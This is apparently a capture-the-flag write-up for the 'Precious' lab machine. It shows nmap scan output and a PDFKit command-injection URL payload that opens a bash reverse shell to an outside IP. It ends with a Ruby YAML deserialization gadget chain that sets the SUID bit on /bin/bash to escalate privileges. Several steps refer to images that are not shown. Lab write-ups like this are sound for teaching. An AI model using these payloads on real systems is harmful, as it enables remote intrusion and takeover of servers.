Initial Enumeration

nmap

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-27 11:44 IST
Nmap scan report for precious.htb (10.129.76.170)
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.85 seconds

Web

Trying to webpage to pdf we get

Trying to get for local file we get

Hosting a page and then trying to load we get the content as PDF

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

So using the payload we can get a shell

http://localhost/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.28/8000 0>&1"`'}

Privillege Escalation

After getting shell as ruby we can see

More Escalation

Checking sudo -l

reference

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod 4777 /bin/bash"
         method_id: :resolve